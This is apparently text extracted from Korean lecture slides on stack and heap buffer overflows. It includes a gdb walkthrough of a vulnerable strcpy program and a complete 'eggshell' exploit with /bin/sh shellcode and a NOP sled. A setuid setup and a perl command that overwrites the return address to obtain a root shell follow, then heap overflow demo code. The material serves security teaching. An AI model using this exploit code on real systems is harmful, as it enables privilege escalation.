7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다. 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다. 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격
스택 버퍼 오버플로우 공격 버퍼(Buffer) : 데이터를 전송, 전송하는 동안 일시 보관하는 메모리 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 버퍼 오버플로우 공격 : 버퍼에 일정 크기 이상의 데이터를 입력, 프로그램을 공격 프로그램이 사용하는 버퍼 : 메모리의 스택(Stack)과 힙(Heap)에 존재 스택 버퍼 오버플로우와 힙 버퍼 오버플로우로 구분 : 스택에 존재하는 버퍼에 대한 공격이냐 힙에 존재하는 버퍼에 대한 공격이냐에 따라 구분
스택 버퍼 오버플로우 공격 스택 버퍼 오버플로우 공격에 취약한 예 bugfile.c ➊ int main(int argc, char *argv[]) : argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수, *argv[]는 포인터 배열(인자로 입력되는 값에 대한 번지 수 차례로 저장), 인자가 2개일 경우 argv의 내용은 다음과 같다. •argv[0] : 실행 파일 이름 •argv[1] : 첫 번째 인자 내용 •argv[2] : 두 번째 인자 내용 ➋ char buffer[10] : 크기가 10바이트인 버퍼 할당 ➌ strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1]) 복사 ➍printf“( %s\n”,&buffer) : 버퍼에 저장된 내용 출력 스택 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 발생 bugfile.c #include <stdio.h> ➊ int main(int argc, char *argv[]) { ➋ char buffer[10]; ➌ strcpy(buffer, argv[1]); ➍ printf("%s\n", &buffer); }
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 bugfile.c 컴파일 gdb 디버깅 : -g 옵션 사용 gcc로 컴파일 [그림 7-1] bugfile.c 컴파일 1 gcc bugfile.c -g -o bugfile ls -al
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 gdb를 이용해 bugfile.c 소스 코드 확인 list : gdb 이용 bugfile.c 파일을 열어 소스 코드 확인하는 명령 [그림 7-2] gdb로 bugfile.c 소스 코드 확인 2 gdb bugfile list
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 list 명령 : 특정 행의 범위(3행∼7행)를 조회 [그림 7-3] list 명령으로 특정 행 범위 조회 list 3, 7
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 브레이크 포인트 설정 gdb 이용 디버깅 수행시 list 명령 수행 결과로 나타난 프로그램 행 번호 기준 ‘b(reak) [브레이크 포인트 설정 행]’명령 이용 [그림 7-4] 5행에 브레이크 포인트 설정 3 break 5
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 bugfile.c의 어셈블리어 코드 확인 main과 strcpy 함수의 어셈블리어 코드 확인 함수별 어셈블리어 코드는 ‘disass [함수이름]’명령으로 확인 [그림 7-5] main 함수 어셈블리어 코드 확인 4 disass main
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 [그림 7-6] strcpy 함수 어셈블리어 코드 확인 disass strcpy
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 설정 브레이크 포인트 지점까지 프로그램 실행 후 변수 확인 설정한 브레이크 포인트(char buffer[10];)까지 프로그램 실행 ‘r(un) [인수]’명령 이용 인수‘AAAA’ 입력 [그림 7-7] 프로그램 디버깅을 위한 프로그램 실행 5 run AAAA
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 브레이크 포인트에서 각 변수 값과 스택의 구조 확인 변수 값은 ‘p(rint) [변수이름]’을 통해서 확인 [그림 7-8] 주요 변수 값 확인 print argc print argv[0] print argv[1] print buffer
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 레지스터 값과 스택 확인 레지스터 전체 값 : info reg 명령 조회 특정 레지스터 값 : info reg [레지스터종류] 명령 스택 확인 : ‘ x/[조회하는메모리범위]xw[조회하는메모리지점]’ [그림 7-9] esp 값 확인 및 esp 값으로부터 스택 내용 확인 6 info reg $esp x/16xw $esp
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 다음 단계로 넘어가기 gdb에서 다음 단계로 넘어가는 명령 •s(tep) : 한 행씩 실행하는데 함수 포함하면 함수 내부로 이동 실행. 올리 디버거 툴의 [Step into] 메뉴와 기능 동일 •n(ext) : 한 행씩 실행하는데 함수 포함하면 함수 완전 실행 후 다음 행으로 이동 올리 디버거 툴의 [Step over] 메뉴와 기능 동일 •c(ontinue) : 현재 위치에서 프로그램의 끝(또는 브레이크)까지 실행 7 info reg $esp x/16xw $esp
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 n(ext) 명령으로‘strcpy(buffer, argv[1]);’ 실행 후 buffer 값과 esp 값으로부터 스택 내용 다시 확인 [그림 7-10] esp 레지스터와 esp 포인트부터 스택 확인 next print buffer info reg $esp x/16xw $esp
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 c(ontinue) 명령으로 프로그램 마지막까지 실행 [그림 7-11] 프로그램 마지막까지 실행 continue
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 char buffer[10] 범위를 넘겨서 실행 버퍼 오버플로우 확인 : ‘printf“( %s\n”, &buffer);’행에 브레이크 포인트를 설정 A를 13개 인수로 입력, 스택 내용 확인 [그림 7-12] esp 레지스터와 esp 포인트부터 스택 확인 8 break 6 run AAAAAAAAAAAAA x/16xw $esp
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➊ 0x80483f8 <main>: push %ebp 최초의 프레임 포인터(ebp) 값 스택 저장 ➋ 0x80483f9 <main+1>: mov %esp,%ebp 현재의 esp 값 ebp 레지스트리 저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp esp 값(int c 할당 값)에서 12(0xc) 바이트만큼 뺀다. 스택에 4바이트 용량 할당, 스택에 buffer[10]을 할당한 부분
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 int main(intargc, char *argv[]) 함수가 호출되기 전에 인수 부분(int argc, char *argv[])이 스택에 쌓인것
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➎ 0x8048401 <main+9>: add $0x4,%eax eax 값에서 4바이트만큼 증가. 주소 값 하나는 4바이트고, eax는 argv[0]에 대한 포인터이므로 argv[1] 가리킴 ➏ 0x8048404 <main+12>: mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지스터에 저장, 프로그램을 실행할 때 인수 부분 가리킴 ➐ 0x8048406 <main+14>: push %edx 프로그램 실행할 때 인수에 대한 포인터를 스택에 저장. 인수를 주지 않고 프로그램 실행하면 스택에 0x0 값 저장
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax -12(%ebp)의 주소에 대한 주소 값을 eax 레지스터에 저장 실행되는 실행 파일 이름(argv[0])의 주소에 대한 주소 값 ➒ 0x804840a <main+18>: push %eax 스택에 eax를 저장
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➓ 0x804840b <main+19>: call 0x8048340 <strcpy> strcpy 명령 호출
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 strcpy 함수 입력된 인수의 경계 체크 않음 인수는 buffer[10]으로 길이가 10바이트를 넘으면 안 됨 이보다 큰 인수를 받더라도 스택에 씀 Step 8과 같이 인수로A 13개를 쓰면 다음 그림과 같이 A가 쌓임
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ebp 일부 주소 중 1바이트를 A 문자열이 덮어쓰기 때문에 저장된 ebp 값 손상 프로그램은 오류 발생 셸 코드를 메모리에 올려두고 ret 주소를 셸 코드의 실행 주소로 바꾸면 프로그램이 실행을 마치고 돌아갈 곳을 공격 셸이 위치한 곳으로 바꿔줌으로써 스택 버퍼 오버 플로우 공격은 수행되고 셸을 얻을 수 있음 단, SetUID가 스택 오버플로우 가능한 프로그램에 설정, 관리자 소유의 파일이어야 함
실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
실습 7-2 스택 버퍼 오버플로우 수행하기 void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); if(argc > 3) eggsize = atoi(argv[3]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if(!(egg = malloc(eggsize))) {
실습 7-2 스택 버퍼 오버플로우 수행하기 addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }
실습 7-2 스택 버퍼 오버플로우 수행하기 bugfile.c와 eggshell.c 컴파일 bugfile.c를 관리자 계정으로 컴파일한 후, SetUID를 부여 [그림 7-20] 실습 전 환경 구성 1 gcc -o bugfile bugfile.c gcc -o egg eggshell.c chmod 4755 bugfile ls -al su - wishfree
실습 7-2 스택 버퍼 오버플로우 수행하기 취약 함수 찾기 strings 명령 : 컴파일한 프로그램이 사용한 함수 확인 [그림 7-21] 컴파일한 파일 속에서 strcpy 사용 확인 gdb 이용 확인한 strcpy 함수가 어떻게 사용되는지, 공격자가 이 입력 값에 대한 조작이 가능한지 판단 2 strings bugfile
실습 7-2 스택 버퍼 오버플로우 수행하기 ‘Segmentation Fault’가 일어나는 지점 찾기 프로그램 ret 주소 변조 : ‘ Segmentation fault’ 오류 발생, 이오류를 통해 ret 주소 위치 역으로 확인. ret 주소가 저장되는 위치를 찾기 위해 임의 길이의 A문자 입력 [그림 7-22] 입력 버퍼 이상의 문자열 입력 시 일어나는‘Segmentation fault 16번째 문자에서 ‘Segmentation fault’가 발생(bugfile.c의 char buffer[10]가 할당되는 주소 공간 12바이트, ebp 저장 공간 4바이트이기 때문 17∼20바이트까지 ret 주소임 3 ./bugfile AAAAAAAAAAAAAAA ./bugfile AAAAAAAAAAAAAAAA
실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell 실행 eggshell 실행 셸 코드를 메모리에 남겨두고 주소 확인 스택 버퍼 오버플로우 공격 수행 펄(Perl) 이용 A 문자열과 셸의 메모리 주소를 bugfile에 직접 실행 [그림 7-24] 스택 버퍼 오버플로우 공격의 수행 4 ./eggshell 5 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x38\xfd\xff\xbf"' id
힙 버퍼 오버 플로우 힙 : 프로그램 실행 시 동적으로 할당한 메모리 공간 malloc 계열의 heapalloc, aeapfree, malloc, free, new, delete 등의 함수로 제어 BSS(Block Started by Symbol)라고도 부름 스택과 반대로 메모리의 하위 주소에서 상위 주소로 영역이 커짐
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02.c는 heap_test_01.c를 gdb로 효율적으로 분석하려고 간략화 한 것 heap_test_01.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 16 #define OVERSIZE 8 int main(){ u_long address_diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); address_diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, address_diff = 0x%x bytes\n", buf1, buf2, address_diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = ‘\0’; printf("오버플로우 전 buf1의 내용 = %s\n", buf1); printf("오버플로우 전 buf2의 내용 = %s\n\n", buf2); memset(buf1, 'B', (u_int)(address_diff + OVERSIZE)); printf("오버플로우 후 buf1의 내용 = %s\n", buf1); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02. c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(){ u_long address_diff; char *buf1 = (char *)malloc(16); char *buf2 = (char *)malloc(16); address_diff = (u_long)buf2 - (u_long)buf1; memset(buf2, 'A', 15), buf2[15] = '\0'; memset(buf1, 'B', (u_int)(address_diff + 8)); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }